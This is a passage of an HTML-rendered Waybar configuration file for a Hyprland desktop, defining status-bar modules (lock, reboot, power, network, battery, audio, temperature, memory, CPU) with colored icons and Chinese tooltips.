&lt;/span&gt;&lt;span&gt;&quot;custom/lock&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;47&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#00FFFF&apos;&amp;gt;  &amp;lt;/span&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;48&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;on-click&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;hyprlock&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;49&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;tooltip&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;50&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;tooltip-format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;锁屏&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;51&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;52&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;custom/reboot&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;53&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#FFD700&apos;&amp;gt;  &amp;lt;/span&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;54&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;on-click&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;systemctl reboot&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;55&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tooltip&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;56&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tooltip-format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;重启&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;57&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;58&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;custom/power&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;59&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#FF4040&apos;&amp;gt;  &amp;lt;/span&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;60&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;on-click&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;systemctl poweroff&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;61&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tooltip&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;62&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tooltip-format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;关机&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;63&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;64&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;network&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;65&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format-wifi&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#00FFFF&apos;&amp;gt; 󰤨 &amp;lt;/span&amp;gt; {essid} &quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;66&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format-ethernet&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#7FFF00&apos;&amp;gt; &amp;lt;/span&amp;gt;Wired &quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;67&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tooltip-format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#FF1493&apos;&amp;gt; 󰅧 &amp;lt;/span&amp;gt;{bandwidthUpBytes}  &amp;lt;span color=&apos;#00BFFF&apos;&amp;gt; 󰅢 &amp;lt;/span&amp;gt;{bandwidthDownBytes}&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;68&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format-linked&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#FFA500&apos;&amp;gt; 󱘖 &amp;lt;/span&amp;gt;{ifname} (No IP) &quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;69&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format-disconnected&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#FF4040&apos;&amp;gt;  &amp;lt;/span&amp;gt;Disconnected &quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;70&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format-alt&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#00FFFF&apos;&amp;gt; 󰤨 &amp;lt;/span&amp;gt;{signalStrength}% &quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;71&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;interval&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;72&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;73&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;battery&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;74&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;states&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;75&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;warning&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;30&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;76&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;critical&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;77&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;78&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#28CD41&apos;&amp;gt; {icon} &amp;lt;/span&amp;gt;{capacity}% &quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;79&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format-charging&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot; 󱐋{capacity}%&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;80&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;interval&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;81&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format-icons&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;span&gt;&quot;󰂎&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;󰁼&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;󰁿&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;󰂁&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;󰁹&quot;&lt;/span&gt;&lt;span&gt;],&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;82&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tooltip&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;83&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;84&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;pulseaudio&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;85&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#00FF7F&apos;&amp;gt;{icon}&amp;lt;/span&amp;gt; {volume}% &quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;86&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format-muted&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#FF4040&apos;&amp;gt; 󰖁 &amp;lt;/span&amp;gt;0% &quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;87&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format-icons&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;88&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;headphone&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#BF00FF&apos;&amp;gt;  &amp;lt;/span&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;89&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;hands-free&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#BF00FF&apos;&amp;gt;  &amp;lt;/span&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;90&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;headset&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#BF00FF&apos;&amp;gt;  &amp;lt;/span&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;91&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;phone&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#00FFFF&apos;&amp;gt;  &amp;lt;/span&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;92&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;portable&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#00FFFF&apos;&amp;gt;  &amp;lt;/span&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;93&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;car&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#FFA500&apos;&amp;gt;  &amp;lt;/span&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;94&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;default&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;95&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#808080&apos;&amp;gt;  &amp;lt;/span&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;96&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#FFFF66&apos;&amp;gt;  &amp;lt;/span&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;97&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#00FF7F&apos;&amp;gt;  &amp;lt;/span&amp;gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;98&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;99&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;100&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;on-click-right&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;pavucontrol -t 3&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;101&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;on-click&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;pactl -- set-sink-mute 0 toggle&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;102&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tooltip&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;103&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tooltip-format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;当前系统声音: {volume}%&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;104&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;105&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;custom/temperature&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;106&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;exec&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;sensors | awk &apos;/^Package id 0:/ {print int($4)}&apos;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;107&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#FFA500&apos;&amp;gt; &amp;lt;/span&amp;gt; {}°C &quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;108&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;interval&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;109&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tooltip&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;110&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tooltip-format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;当前 CPU 温度: {}°C&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;111&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;112&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;memory&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;113&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#8A2BE2&apos;&amp;gt;  &amp;lt;/span&amp;gt; {used:0.1f}G/{total:0.1f}G &quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;114&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tooltip&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;115&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tooltip-format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;当前内存占比: {used:0.2f}G/{total:0.2f}G&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;116&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;117&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;cpu&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;118&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#FF9F0A&apos;&amp;gt;  &amp;lt;/span&amp;gt; {usage}% &quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;119&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tooltip&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;120&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;121&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;clock&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;122&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;interval&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;123&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;timezone&quot;&lt;/span&gt;&lt;span&gt;: 